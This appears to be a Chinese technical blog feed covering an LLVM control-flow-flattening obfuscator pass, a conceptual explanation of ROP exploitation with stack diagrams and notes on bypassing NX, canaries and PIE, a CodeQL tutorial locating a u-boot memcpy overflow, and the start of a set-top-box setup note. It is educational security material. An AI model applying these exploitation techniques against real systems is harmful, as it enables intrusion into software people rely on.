    Instruction </span>*</span>terminator </span>=</span> bb</span>-></span>getTerminator</span>(</span>)</span>;</span></span>
    BasicBlock </span>*</span>sucessor </span>=</span> terminator</span>-></span>getSuccessor</span>(</span>0</span>)</span>;</span></span>
    //</span> Find sucessor's case condition</span></span>
    ConstantInt </span>*</span>caseNum </span>=</span> swInst</span>-></span>findCaseDest</span>(</span>sucessor</span>)</span>;</span></span>
    if</span> (</span>caseNum </span>==</span> nullptr</span>)</span> {</span></span>
      caseNum </span>=</span> swBuilder</span>.</span>getInt32</span>(</span>rng</span>(</span>)</span>)</span>;</span></span>
    }</span></span>
    //</span> Connect this BB to sucessor</span></span>
    IRBuilder</span><</span>></span> caseBuilder</span>(</span>bb</span>,</span> bb</span>-></span>end</span>(</span>)</span>)</span>;</span></span>
    caseBuilder</span>.</span>CreateStore</span>(</span>caseNum</span>,</span> swPtr</span>)</span>;</span></span>
    caseBuilder</span>.</span>CreateBr</span>(</span>loopEnd</span>)</span>;</span></span>
    terminator</span>-></span>eraseFromParent</span>(</span>)</span>;</span></span>
  }</span> break</span>;</span></span>
  case</span> 2</span>:</span> {</span></span>
    //</span> Terminator is a condition jump</span></span>
    Instruction </span>*</span>terminator </span>=</span> bb</span>-></span>getTerminator</span>(</span>)</span>;</span></span>
    ConstantInt </span>*</span>trueCaseNum </span>=</span></span>
        swInst</span>-></span>findCaseDest</span>(</span>terminator</span>-></span>getSuccessor</span>(</span>0</span>)</span>)</span>;</span></span>
    ConstantInt </span>*</span>falseCaseNum </span>=</span></span>
        swInst</span>-></span>findCaseDest</span>(</span>terminator</span>-></span>getSuccessor</span>(</span>1</span>)</span>)</span>;</span></span>
    if</span> (</span>trueCaseNum </span>==</span> nullptr</span>)</span> {</span></span>
      trueCaseNum </span>=</span> swBuilder</span>.</span>getInt32</span>(</span>rng</span>(</span>)</span>)</span>;</span></span>
    }</span></span>
    if</span> (</span>falseCaseNum </span>==</span> nullptr</span>)</span> {</span></span>
      falseCaseNum </span>=</span> swBuilder</span>.</span>getInt32</span>(</span>rng</span>(</span>)</span>)</span>;</span></span>
    }</span></span>
    IRBuilder</span><</span>></span> caseBuilder</span>(</span>bb</span>,</span> bb</span>-></span>end</span>(</span>)</span>)</span>;</span></span>
    if</span> (</span>BranchInst </span>*</span>endBr </span>=</span> dyn_cast</span><</span>BranchInst</span>></span>(</span>bb</span>-></span>getTerminator</span>(</span>)</span>)</span>)</span> {</span></span>
      //</span> Select the next BB to be executed</span></span>
      Value </span>*</span>selectInst </span>=</span> caseBuilder</span>.</span>CreateSelect</span>(</span></span>
          endBr</span>-></span>getCondition</span>(</span>)</span>,</span> trueCaseNum</span>,</span> falseCaseNum</span>)</span>;</span></span>
      caseBuilder</span>.</span>CreateStore</span>(</span>selectInst</span>,</span> swPtr</span>)</span>;</span></span>
      caseBuilder</span>.</span>CreateBr</span>(</span>loopEnd</span>)</span>;</span></span>
      terminator</span>-></span>eraseFromParent</span>(</span>)</span>;</span></span>
    }</span></span>
  }</span> break</span>;</span></span>
  }</span></span>
}</span></span>
</span>
//</span> Set swVar's origin value, let the first BB executed first</span></span>
ConstantInt </span>*</span>caseCond </span>=</span> swInst</span>-></span>findCaseDest</span>(</span>*</span>originBB</span>.</span>begin</span>(</span>)</span>)</span>;</span></span>
storeRng</span>-></span>setOperand</span>(</span>0</span>,</span> caseCond</span>)</span>;</span></span></code></pre>

图请参考 Obfuscator-llvm源码分析</a>，用 ASCII 画图有点麻烦...</p>
</blockquote>
总结</h2>
这个控制流平坦化的代码数量也不多，而且程序的逻辑在理清后很容易理解，所以文章的篇幅很短。</p>
refs</h2>
chenx6/baby_obfuscator</a></p>
Obfuscator-llvm源码分析</a></p>
obfuscator-llvm/obfuscator</a></p>
利用符号执行去除控制流平坦化</a></p>
cq674350529/deflat</a></p>


不同视角看 ROP
2020-06-01T00:00:00+00:00
看了许多讲 ROP 的文章，发现很多只是讲了怎么利用，但是没有讲为什么这么利用。所以写文记录。</p>
什么是 ROP</h2>
ROP (Return orient programming) 是一种漏洞利用方法，使得攻击者绕过保护(例如 NX 栈不可执行)执行恶意代码。攻击者通过栈溢出等手段实现覆盖返回地址劫持程序控制流，并且通过不同的代码片段(Gadgets)来拼接出攻击者希望执行的代码。</p>
怎么进行 ROP</h2>
汇编复习</h3>
我们先复习一下 x86 架构下的一些指令。</p>
调用一个函数一般使用 call</code> 指令，call func</code> 这条指令相当于 push ip, jmp func</code>，即将当前 IP(instruction pointer 指令寄存器) 的地址存入栈中，并将 IP 改为被调用函数的地址。</p>
leave</code> 指令由于效率低于等价指令 mov sp, bp; pop bp</code>，且可以被等价替换所以比较少见。</p>
ROP 中经常出现 ret</code> 这一条汇编语句。ret</code> 这一条指令是配合 call</code> 指令使用的。ret</code> 相当于 pop ip</code>，配合 call</code> 使用时，功能为返回原来的控制流。</p>
劫持一次“普通”的程序调用</h3>
当 C 程序调用函数时，会通过将函数参数压入栈中，来传递函数参数。然后通过 call</code> 指令将控制流转移到函数的代码中。并且函数会将之前控制流的 bp</code> 保存，用于函数结束时恢复栈环境。</p>
例如下面的程序，将两个数字相加，并且将结果作为返回值。</p>
#</span>include</span> <</span>stdio.h</span>></span></span>
</span>
int</span> add</span>(</span>int</span> a</span>,</span> int</span> b</span>)</span></span>
{</span></span>
    return</span> a </span>+</span> b</span>;</span></span>
}</span></span>
</span>
int</span> main</span>(</span>)</span></span>
{</span></span>
    int</span> a </span>=</span> 1</span>,</span> b </span>=</span> 2</span>;</span></span>
    int</span> sum </span>=</span> add</span>(</span>a</span>,</span> b</span>)</span>;</span></span>
    printf</span>(</span>"</span>%d</span>\n</span>"</span>,</span> sum</span>)</span>;</span></span>
    return</span> 0</span>;</span></span>
}</span></span></code></pre>
将上面的代码使用 cl</code> 编译出来的汇编代码如下。</p>
_sum$ = -</span>12</span>   ; size = 4</span></span>
_a$ = -</span>8</span>      ; size = 4</span></span>
_b$ = -</span>4</span>      ; size = 4</span></span>
_main PROC</span></span>
 push</span> ebp</span></span>
 mov</span> ebp</span>, </span>esp</span></span>
 sub</span> esp</span>, </span>12</span>     ; 0000000cH</span></span>
 mov</span> DWORD</span> PTR _a$[</span>ebp</span>], </span>1</span></span>
 mov</span> DWORD</span> PTR _b$[</span>ebp</span>], </span>2</span></span>
 mov</span> eax</span>, </span>DWORD</span> PTR _b$[</span>ebp</span>]</span></span>
 push</span> eax</span></span>
 mov</span> ecx</span>, </span>DWORD</span> PTR _a$[</span>ebp</span>]</span></span>
 push</span> ecx</span></span>
 call</span> _add</span></span>
 add</span> esp</span>, </span>8</span></span>
 mov</span> DWORD</span> PTR _sum$[</span>ebp</span>], </span>eax</span></span>
 mov</span> edx</span>, </span>DWORD</span> PTR _sum$[</span>ebp</span>]</span></span>
 push</span> edx</span></span>
 push</span> OFFSET </span>$SG9148</span></span>
 call</span> _printf</span></span>
 add</span> esp</span>, </span>8</span></span>
 xor</span> eax</span>, </span>eax</span></span>
 mov</span> esp</span>, </span>ebp</span></span>
 pop</span> ebp</span></span>
 ret</span> 0</span></span>
_main ENDP</span></span></code></pre>
可以看到程序在 call _add</code> 前将两个变量 a, b</code> 从栈中取出放入寄存器中，然后再将其作为参数压入栈中。在 call _add</code> 后程序将存于 eax</code> 的返回值取出并放入 _sum</code> 变量中。</p>
执行到 call _add</code> 时，栈的情况如下。可以看到参数从左到右依次按照从低地址到高地址排序。</p>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp    </span>|</span>1</span>       |</span> <</span>--</span>-</span>+</span> 函数参数1</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> 4</span>|</span>2</span>       |</span> <</span>--</span>-</span>+</span> 函数参数2</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> 8</span>|</span>        |</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>...    </span>|</span>        |</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>ebp    </span>|</span>ret addr</span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span></code></pre>
执行完 call _add</code> 后的栈环境，可以看到程序将 call</code> 指令的下一条指令压入栈中。</p>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp    </span>|</span>ret addr</span>|</span> <</span>--</span>-</span>+</span> 返回地址</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> 4</span>|</span>1</span>       |</span> <</span>--</span>-</span>+</span> 函数参数1</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> 8</span>|</span>2</span>       |</span> <</span>--</span>-</span>+</span> 函数参数2</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>...    </span>|</span>        |</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>ebp    </span>|</span>ret addr</span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span></code></pre>
这是 add()</code> 函数的汇编代码，可以看到程序先将旧的 ebp</code> 入栈，然后将 esp</code> 赋值给 ebp</code> 作为新的栈基。然后再从栈中的对应位置取出函数参数的值，进行 add</code> 操作后，将结果赋给 eax</code> 作为返回值。</p>
_a$ </span>=</span> 8</span>       ;</span> size </span>=</span> 4</span></span>
_b$ </span>=</span> 12</span>      ;</span> size </span>=</span> 4</span></span>
_add PROC</span></span>
 push ebp</span></span>
 mov ebp</span>,</span> esp</span></span>
 mov eax</span>,</span> DWORD PTR _a$</span>[</span>ebp</span>]</span></span>
 add eax</span>,</span> DWORD PTR _b$</span>[</span>ebp</span>]</span></span>
 pop ebp</span></span>
 ret </span>0</span></span>
_add ENDP</span></span></code></pre>
在 add</code> 函数中 push ebp; mov ebp, esp</code> 执行后的栈如下，可以看到返回地址的上方保存了旧的 ebp</code> 地址。</p>
+</span>--</span>--</span>--</span>-</span>+</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp    </span>|</span>old ebp </span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>       |</span>ret addr</span>|</span> <</span>--</span>-</span>+</span> 返回地址</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> 8</span>|</span>1</span>       |</span> <</span>--</span>-</span>+</span> 函数参数1</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> c</span>|</span>2</span>       |</span> <</span>--</span>-</span>+</span> 函数参数2</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>       |</span>        |</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>...    </span>|</span>        |</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>       |</span>ret addr</span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span></code></pre>
在 pop ebp</code> 指令执行完成，ret</code> 指令准备执行时，程序将栈顶(SP 所指的地址)存放的返回地址放入 IP，来恢复控制流。如果我们能控制返回地址，伪造函数调用，那么就可以让程序执行我们想要执行的代码。</p>
下面是当 mov esp, ebp; pop ebp</code> 执行后的栈，假设我们控制了 esp</code> 处的内存，在下一条指令 ret</code> 执行后，我们就劫持了程序的控制流。</p>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp    </span>|</span>gadget  </span>|</span> <</span>--</span>-</span>+</span> 返回地址</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> 4</span>|</span>1</span>       |</span> <</span>--</span>-</span>+</span> 函数参数1</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> 8</span>|</span>2</span>       |</span> <</span>--</span>-</span>+</span> 函数参数2</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>       |</span>        |</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>...    </span>|</span>        |</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>       |</span>ret addr</span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span></code></pre>gadgets 和 ROP 链</h3>
之前的操作只能劫持一次控制流，如果想用这一次机会将控制流劫持到 shellcode 上的话，在 NX 开启的情况下就会失效，又或者不能一次劫持就完成我们想达到的目标，这时候就需要 ROP 和 gadgets 了。这里的 gadget 指的是程序本体中出现的指令片段，通常以 ret</code> 指令结尾。</p>
将 gadget 的地址按执行顺序写入栈中，就可以实现 ROP 链。ROP 链将按照在栈中的顺序执行。</p>
例如下图中，CPU 先执行 ret</code> 指令，将 IP 置为 0x1000，然后执行 0x1000 处的两条指令，最后执行 ret</code> 指令，将 IP 置为 0x500。CPU 执行 0x500 处的指令，最后 ret</code> 指令执行时，将 IP 置为 main</code> 函数所在的地址，CPU 开始执行 main</code> 函数里的指令。</p>
      +</span>--</span>--</span>--</span>-</span>+</span>--</span>--</span>--</span>--</span>+</span></span>
+</span>--</span>--</span>-</span>+</span>0x</span>500</span>  |</span> inst3  </span>|</span></span>
|</span>     +</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>  v</span>--</span>+</span>       |</span> ret    </span>|</span></span>
|</span>  |</span>  +</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>  |</span>  |</span>...    </span>|</span> ...    </span>|</span></span>
|</span>  |</span>  +</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>  |</span>  |</span>0x</span>1000</span> |</span> inst0  </span>+</span><</span>-</span>+</span></span>
|</span>  |</span>  +</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span>  |</span></span>
|</span>  |</span>  |</span>       |</span> inst1  </span>|</span>  |</span></span>
|</span>  |</span>  +</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span>  |</span></span>
|</span>  |</span>  |</span>       |</span> ret    </span>+</span>--</span>--</span>-</span>+</span></span>
|</span>  |</span>  +</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span>  |</span>  |</span></span>
|</span>  |</span>  |</span>...    </span>|</span> ...    </span>|</span>  |</span>  |</span></span>
|</span>  |</span>  +</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span>  |</span>  |</span></span>
|</span>  |</span>  |</span>esp    </span>|</span> 0x</span>1000</span> +</span>--</span>+</span>  |</span></span>
|</span>  |</span>  +</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span>     |</span></span>
^</span>--</span>--</span>-</span>+</span>esp </span>+</span> 4</span>|</span> 0x</span>500</span>  +</span><</span>--</span>--</span>+</span></span>
   |</span>  +</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
   +</span>-</span>></span>+</span>esp </span>+</span> 8</span>|</span> main   </span>|</span></span>
      +</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
      |</span>       |</span>        |</span></span>
      +</span>--</span>--</span>--</span>-</span>+</span>--</span>--</span>--</span>--</span>+</span></span></code></pre>
如果为 x86_64 或者 amd64 程序，通常以寄存器进行函数的参数传递，ROP 链的构造经常使用 pop regs; ret</code> 这样的 gadget 来实现寄存器传参，然后再在 ROP 链中添加被调用函数地址，实现调用函数。而参数和寄存器的对应关系，则是从第一个参数到第六个参数分别为 %rdi, %rsi, %rdx, %rcx, %r8, %r9</code></p>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp    </span>|</span>padding </span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>       |</span>pop_ret </span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> 8</span>|</span>args    </span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> c</span>|</span>func    </span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>       |</span>        |</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>...    </span>|</span>        |</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>       |</span>ret addr</span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span></code></pre>
如果是 32 位程序，通常使用栈进行传参。则先将被调用函数地址放入栈的低地址，然后将参数以 C 语言代码中调用函数时从左到右的顺序将参数从低地址到高地址开始放入。来模拟 call</code> 指令和之前的传参过程。</p>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp    </span>|</span>padding </span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>       |</span>func    </span>|</span> <</span>--</span>-</span>+</span> 返回地址</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> 8</span>|</span>arg1    </span>|</span> <</span>--</span>-</span>+</span> 函数参数1</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>esp </span>+</span> c</span>|</span>arg2    </span>|</span> <</span>--</span>-</span>+</span> 函数参数2</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>       |</span>        |</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>...    </span>|</span>        |</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span>
|</span>       |</span>ret addr</span>|</span></span>
+</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>--</span>+</span></span></code></pre>
如果需要了解更多，则请查询相关系统和 CPU 架构的 ABI，例如https://stackoverflow.com/questions/2535989/what-are-the-calling-conventions-for-unix-linux-system-calls-on-i386-and-x86-6</a> 和 https://docs.microsoft.com/en-us/cpp/build/x64-calling-convention?view=vs-2019</a></p>
扩展：面对常见的代码保护措施</h2>
如果出现 NX 时，就需要使用 ROP 技术绕过。</p>
如果出现 canary 时需要想怎么泄露 canary，通过 off by one 或者格式化字符串实现泄露，还有少见的报错泄露法和覆盖 canary 法。</p>
如果出现 pie 的话泄露地址也是必须的，off by one 或者格式化字符串实现泄露，或者 partical overwrite 实现构造 rop 链也是可以的。</p>
如果需要栈迁移，则需要使用两次 leave</code> 指令来修改 SP 和 BP，将栈迁移到可以控制的地方，从而实现执行 ROP 链。</p>
当然利用方式还是得根据具体题目进行改变，所以请君自行补充。</p>


CodeQL 体验
2020-04-20T00:00:00+00:00
概要</h2>
之前在 Twitter 上看到有大佬说 Github Learning Club 上搞了个免费的 CodeQL 课程，课程最终目标是使用 CodeQL 这个语言找出 uboot 中的 9 个漏洞。我在克服拖延症后，终于在 4 月底完成了这个课程，于是写文记录。</p>
课程链接</a></p>
通过 CodeQL 找出来的漏洞分析</a></p>
提前准备</h2>

VSCode  // VSC 天下第一</li>
本机上的 Git 和 Github 帐号  // 废话</li>
在线翻译  // 文档和课程的英文文本量有点大</li>
C/C++ 基础  // 不会 C 语言怎么挖洞啊</li>
</ol>
环境搭建</h2>
首先先在课程链接中选择 "Start free course"，然后 Github 机器人会在你的帐号下新建项目。先将这个项目 Clone 到本地。Github 机器人会通过 Issue 和 Pull request 和你进行沟通。</p>
官方推荐使用 VSCode，那我们就使用 VSC。当然，其他 IDE 应该也是可以的。</p>
然后安装CodeQL 插件</a>。</p>
CodeQL 插件会自动从 Github 上下载大约 400M 的 codeql-cli，如果下载速度慢请使用加速器。</p>
接下来Clone 这个项目</a>到本地。这个项目里的 submodule 也须要 Clone。使用下面命令一步到位。</p>
git</span> clone</span> -</span>-recursive</span> https://github.com/github/vscode-codeql-starter/</span></span></code></pre>
在 VSCode 菜单中点击 File > Open Workspace</code> 选择 vscode-codeql-starter.code-workspace</code> 这个文件来打开这个工作区。</p>
从这个链接</a>下载已经分析好的 uboot CodeQL 数据库，然后解压到相应的文件夹。</p>
使用 VSCode 快捷键 "ctrl + shift + p" 进入命令模式，输入 "codeql choose database" 看到相应的选项后，点击就可以添加上前面解压的 uboot codeql 数据库。</p>
在前面打开工作区 VSCode 中使用 File -> Add Folder to Workspace</code> 添加前面机器人新建的项目文件夹到当前工作区。</p>
到此环境配置完成。</p>
第一次查询和 Pull request</h2>
机器人创建的项目中有等着我们编辑的空文件和 solution</code> 文件夹。接下来是教程中的第三步，编辑 3_function_definitions.ql</code> 这个文件，借助补全填入下面内容，以查询 strlen</code> 的声明和定义。</p>
import</span> cpp</span></span>
</span>
from</span> Function</span> f</span></span>
where</span> f</span>.</span>getName</span>(</span>)</span> =</span> "</span>strlen</span>"</span></span>
select</span> f</span>,</span> "</span>a function named strlen</span>"</span></span></code></pre>
可以看到 CodeQL 程序的基本架构，第一句 import cpp</code> 导入了 CPP 模块，而后面的 from ... where ... select</code> 就是 CodeQL 程序的基本结构。</p>
from Function f</code> 这句话声明了 f 是个 Function 类型的变量。Function 是个类，一个类代表了一种数据的集合，而 Function 这个类型代表了待分析代码中的函数集合。</p>
后面的 where ...</code> 中出现的谓词代表了我们想查询的逻辑，而变量 f</code> 后面的 getName</code> 是谓词，他表达了我们查询的逻辑。在上面的代码中我们找到了所有名字为 "strlen" 的函数。</p>
然后在 VSCode 的命令面板里让命令跑起来，或者对着脚本右键，点击 "Run Query"，进行查询了。</p>
</p>
写完代码后，就是发起 Pull request 了。</p>
#</span> 拉取 master</span></span>
git</span> checkout</span> master</span></span>
git</span> pull</span></span>
#</span> 新建分支，并切换到该分支</span></span>
git</span> checkout</span> -</span>b</span> step-4</span></span>
#</span> 进行 commit</span></span>
git</span> add</span> .</span></span>
git</span> commit</span> -</span>a</span> -</span>m</span> "</span>Step 4 query</span>"</span></span>
#</span> 推送分支，可以发起 pull request</span></span>
git</span> push</span> -</span>u</span> origin</span> step-4</span></span></code></pre>
执行完上面的命令后，在 Github 上打开 "codeql-uboot" 项目的 Pull request 标签，就可以看到我们创建了一个新分支，且可以发起 Pull request。在发起 PR 后，会触发 Github Actions，校验答案的时间在 1 到 3 分钟左右。检查完成后就会进行下一步操作了。</p>
</p>

所以在这几分钟内可以看点泡面番，或者打开邦邦清下火（逃</p>
</blockquote>
导入不同的类完成查询</h2>
前面我们查询了函数，在第五步我们可以通过引入 "Macro" 类查询 ntohl, ntohll, ntohs</code> 这三个转换字节序的宏。代码类似第一次查询，这里使用正则表达式可以缩短查询语句。</p>
import</span> cpp</span></span>
</span>
from</span> Macro</span> m</span></span>
where</span> m</span>.</span>getName</span>(</span>)</span>.</span>regexpMatch</span>(</span>"</span>ntoh(s|l|ll)</span>"</span>)</span></span>
select</span> m</span></span></code></pre>使用两个变量来查询调用该函数的位置</h2>
在代码中的 from</code> 语句处可以声明多个变量，然后在 where</code> 中进行联系，以查询相关函数调用。如果无从下手的话可以看看使用 CodeQL 查询 C++ 的样例</a></p>
import</span> cpp</span></span>
</span>
from</span> FunctionCall</span> call</span>,</span> Function</span> func</span></span>
where</span></span>
    call</span>.</span>getTarget</span>(</span>)</span> =</span> func</span> and</span></span>
    func</span>.</span>getName</span>(</span>)</span> =</span> "</span>memcpy</span>"</span></span>
select</span> call</span></span></code></pre>查看宏的顶层表达</h2>

应该是展开宏吧...但是英文原文是 "Gets a top-level expression associated with this macro invocation"</p>
</blockquote>
通过 MacroInvocation</code> 这个类来查询 "ntohs" 等宏的调用，并通过 getExpr()</code> 这个方法进行宏的展开，得到相应的代码片段。</p>
import</span> cpp</span></span>
</span>
from</span> MacroInvocation</span> mi</span></span>
where</span> mi</span>.</span>getMacro</span>(</span>)</span>.</span>getName</span>(</span>)</span>.</span>regexpMatch</span>(</span>"</span>ntoh(s|l|ll)</span>"</span>)</span></span>
select</span> mi</span>.</span>getExpr</span>(</span>)</span></span>
</span></code></pre>自己实现一个类</h2>
前面第一次查询</a>说了，一个类代表了一种数据的集合。通过实现一个自己的类，能自定义一个自己想要的数据集合。如果有点懵可以看看 CodeQL 关于类的相关文档</a>。查询语句中的类中，先通过 exists</code> 量词创建一个临时变量 mi</code> 来表示被调用的宏的名字，如果被调用的的宏展开后和当前代码片段相等，则这个表达式属于这个集合。</p>
import</span> cpp</span></span>
</span>
class</span> NetworkByteSwap</span> extends</span> Expr</span> {</span></span>
  NetworkByteSwap</span>(</span>)</span> {</span></span>
    exists</span>(</span>MacroInvocation</span> mi</span> |</span></span>
      mi</span>.</span>getMacroName</span>(</span>)</span>.</span>regexpMatch</span>(</span>"</span>ntoh(s|l|ll)</span>"</span>)</span> and</span></span>
      this</span> =</span> mi</span>.</span>getExpr</span>(</span>)</span></span>
    )</span></span>
  }</span></span>
}</span></span>
</span>
from</span> NetworkByteSwap</span> n</span></span>
select</span> n</span>,</span> "</span>Network byte swap</span>"</span></span></code></pre>数据流和污点追踪</h2>
借助前面几步，我们基本了解了 CodeQL 的使用。最后一个测试是使用 CodeQL 进行污点追踪。这里使用了 CodeQL 的全局污点追踪(Global taint tracking)。可以先看看使用 CodeQL 追踪数据流的文档</a>了解相关概念。新定义的 Config</code> 类继承于 TaintTracking::Configuration</code>。类中重载的 isSource</code> 谓语定义为污点的源头，而 isSink</code> 定义为污点的去处。</p>
有时候，远程输入的数据可能经过 ntoh</code> 函数处理，通过转换字节序得到相应的数字。而 memcpy</code> 的第 2 个参数如果控制不当，可造成数据溢出。将上面两个结论结合起来，如果有一个远程输入的数据通过字节序变换得到的数字，在未经过校验的情况下，作为了 memcpy</code> 的第二个参数，那么就有可能造成数据溢出。</p>
照着 Github 自家安全团队的文章</a>，可以照猫画虎的补全数据查询语句。</p>
在 isSource</code> 中，我们通过判断 source</code> 的 Expr</code> 是否是 NetworkByteSwap</code> 这个类，来判断污点的源头。</p>
在 isSink</code> 中，我们使用了辅助类 FunctionCall</code> 判断函数调用是否为 memcpy</code> 且 sink</code> 的代码片段是否为 memcpy</code> 的第二个参数；最后一句则是判断函数的第一个参数是否为常量，如果为常量的话基本不可能出现问题，所有忽略。</p>
/**</span></span>
 *</span> @kind</span> path-problem</span></span>
 */</span></span>
</span>
import</span> cpp</span></span>
import</span> semmle</span>.</span>code</span>.</span>cpp</span>.</span>dataflow</span>.</span>TaintTracking</span></span>
import</span> DataFlow</span>::</span>PathGraph</span></span>
</span>
class</span> NetworkByteSwap</span> extends</span> Expr</span> {</span></span>
  NetworkByteSwap</span>(</span>)</span> {</span></span>
    exists</span>(</span>MacroInvocation</span> mi</span> |</span></span>
      mi</span>.</span>getMacroName</span>(</span>)</span>.</span>regexpMatch</span>(</span>"</span>ntoh(s|l|ll)</span>"</span>)</span> and</span></span>
      this</span> =</span> mi</span>.</span>getExpr</span>(</span>)</span></span>
    )</span></span>
  }</span></span>
}</span></span>
</span>
class</span> Config</span> extends</span> TaintTracking</span>::</span>Configuration</span> {</span></span>
  Config</span>(</span>)</span> {</span> this</span> =</span> "</span>NetworkToMemFuncLength</span>"</span> }</span></span>
</span>
  override</span> predicate</span> isSource</span>(</span>DataFlow</span>::</span>Node</span> source</span>)</span> {</span> source</span>.</span>asExpr</span>(</span>)</span> instanceof</span> NetworkByteSwap</span> }</span></span>
</span>
  override</span> predicate</span> isSink</span>(</span>DataFlow</span>::</span>Node</span> sink</span>)</span> {</span></span>
    exists</span>(</span>FunctionCall</span> call</span> |</span></span>
      call</span>.</span>getTarget</span>(</span>)</span>.</span>getName</span>(</span>)</span> =</span> "</span>memcpy</span>"</span> and</span></span>
      sink</span>.</span>asExpr</span>(</span>)</span> =</span> call</span>.</span>getArgument</span>(</span>2</span>)</span> and</span></span>
      not</span> call</span>.</span>getArgument</span>(</span>1</span>)</span>.</span>isConstant</span>(</span>)</span></span>
    )</span></span>
  }</span></span>
}</span></span>
</span>
from</span> Config</span> cfg</span>,</span> DataFlow</span>::</span>PathNode</span> source</span>,</span> DataFlow</span>::</span>PathNode</span> sink</span></span>
where</span> cfg</span>.</span>hasFlowPath</span>(</span>source</span>,</span> sink</span>)</span></span>
select</span> sink</span>,</span> source</span>,</span> sink</span>,</span> "</span>Network byte swap flows to memcpy</span>"</span></span>
</span></code></pre>
</p>
点击查询结果就可以跳转到代码位置，以进行详细分析。</p>
</p>
这里就是 Github 展示的漏洞，对 nfs 请求的回复长度未经过校验，导致可以控制 nfs_path 的 2048 字节。</p>
refs</h2>
CodeQL 教程 https://help.semmle.com/QL/learn-ql/</a></p>


斐讯 N1 折腾/避坑笔记
2020-02-01T00:00:00+00:00
最近想搞一台小服务器来做 Git 服务器，下载 Bt 等事情，所以就在一堆便宜的 ARM 机顶盒/NAS 中间挑选。最后看上了 100 RMB 左右的斐讯 N1，因为 N1 不用拆机就可以刷机。</p>
准备工作</h2>

空 U 盘</li>
HDMI 线</li>
